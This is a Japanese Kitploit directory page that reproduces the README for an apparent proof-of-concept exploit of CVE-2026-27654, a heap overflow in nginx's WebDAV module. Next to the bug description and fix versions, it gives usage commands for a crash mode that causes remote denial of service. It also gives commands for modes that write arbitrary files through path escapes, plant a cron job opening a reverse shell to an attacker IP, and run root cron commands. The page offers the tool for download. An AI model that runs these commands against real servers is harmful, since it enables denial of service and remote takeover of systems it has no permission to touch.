Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-27654 — NGINX `ngx_http_dav_module` ヒープバッファオーバーフロー(`size_t` アンダーフロー経由)(リモートDoS / 潜在的なRCE) | Kitploit
ツール/GitHubGitHub/johanneslks/cve-2026-27654
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育バイナリエクスプロイト
GitHubjohanneslks/cve-2026-27654

CVE-2026-27654

NGINX `ngx_http_dav_module` ヒープバッファオーバーフロー(`size_t` アンダーフロー経由)(リモートDoS / 潜在的なRCE)

リポジトリを見る
842ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-27654

NGINX ngx_http_dav_module における size_t アンダーフローによるヒープバッファオーバーフロー (リモートDoS / 潜在的なRCE)

説明

src/http/modules/ngx_http_dav_module.c 内の ngx_http_dav_copy_move_handler() は、 Destination ヘッダのURIパスコンポーネントからロケーションプレフィックスの長さを引くことで、 宛先URIの長さを計算します。どちらの値も size_t (unsigned 64-bit) です。 宛先パスがロケーションプレフィックスより短い場合、減算結果は ~0 にラップし、 巨大な memcpy 長さを生成し、7バイトのヒープ割り当てをオーバーフローさせ、ワーカープロセスをクラッシュさせます。

alias がマッピングされたDAVロケーションに対する単一の細工された MOVE または リクエストが オーバーフローを引き起こします。nginxマスターはワーカーを再生成しますが、 リクエストが繰り返されるとサーバーは継続的なクラッシュループに陥ります。

COPY

ASan 確認: ngx_http_core_module.c:1949 の memcpy で negative-size-param: (size=-7) が発生。 呼び出し元は ngx_http_dav_copy_move_handler。

影響を受けるバージョン: nginx 0.5.13 ~ 1.28.2 (stable) および 1.29.0 ~ 1.29.6 (mainline)。 --with-http_dav_module でコンパイルされ、DAVロケーションで alias を使用している場合。 修正バージョン: 1.28.3 / 1.29.7 (コミット ab4b5b8, PR #1210)。

使用方法

root@kitploit:~
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080

# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh              # non-ASan build (observes SIGSEGV crash)
./run.sh --asan       # ASan build (definitive proof)
./run.sh --both       # run both sequentially

# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put    # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose

デフォルトモードは標準的なクラッシュトリガーです。 PUT を送信し、続いて Destination パスがDAVロケーションプレフィックスより短い細工された MOVE を送信します。

root@kitploit:~
python3 poc.py --target <HOST:PORT> --mode crash \
  --location-prefix /uploads/ --destination-path /x --alias-len 13

認可されたラボ設定で、DAV宛先処理が相対的な宛先エスケープを許可する場合、同じツールを使って攻撃者が制御するコンテンツを任意のパスに配信できます。正確な --location-prefix, --escape-depth, および宛先パスは、ご自身のサービス設定と情報収集に基づいてください。

root@kitploit:~
# COPY/MOVE 宛先処理を介して選択したパスにリテラルコンテンツを書き込む。
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/dav-proof.txt --payload-text proof

# ローカルファイルからバイトを書き込む。
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/payload.bin --payload-file ./payload.bin

# リバースシェルを開く cron エントリを配信する。
python3 poc.py --target <HOST:PORT> --mode cron-shell \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-shell \
  --lhost <ATTACKER_IP> --lport 4444

# 非対話型の認可済み証明用の単発 cron コマンドを配信する。
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-proof \
  --cron-command 'id > /tmp/dav-root-proof.out'

write-file, cron-shell, cron-cmd は、書き込み可能なDAVソースと宛先パスエスケープがある認可済み環境向けの汎用配信ヘルパーです。 標準的なヒープオーバーフローのクラッシュを証明するために必須ではありません。

要件

  • ターゲット: --with-http_dav_module でコンパイルされたnginx、ロケーションブロックで alias ( root ではない) を使用、dav_methods に COPY または MOVE が含まれていること
  • 攻撃者: Python 3。 requests が利用可能な場合はそれを使用し、それ以外の場合はプレーンHTTPターゲットに対してPython標準ライブラリにフォールバックします。
  • ネイティブビルドの場合: gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget

ファイル

ファイル説明
poc.pyPython PoC — 標準的なクラッシュトリガーおよび汎用COPY/MOVE宛先モード
run.shソースからnginxをビルド (ASan / 非ASan) し、PoCを実行
Dockerfile脆弱なnginx 1.28.2のマルチステージビルド
docker-compose.ymlワンコマンドDockerセットアップ
nginx.conf脆弱な設定 (alias + dav_methods COPY MOVE)
proof_output.txtライブ検証からのASan出力

参照

  • https://nginx.org/en/security_advisories.html
  • https://github.com/nginx/nginx/commit/ab4b5b8
  • https://github.com/nginx/nginx/pull/1210

法的通知

このプロジェクトはGNU GPLv3のもとで公開されています。

防御的なセキュリティ研究、教育、および認可されたテストのために提供されています。 所有者から明示的な許可なく、システムやサービスに対してこのコードを使用しないでください。

無断使用は該当する法律に違反する可能性があります。著者は第三者システムのテストを許可せず、誤用に対する責任を負いません。

保証および責任条件についてはLICENSEファイルを参照してください。

ツールをダウンロード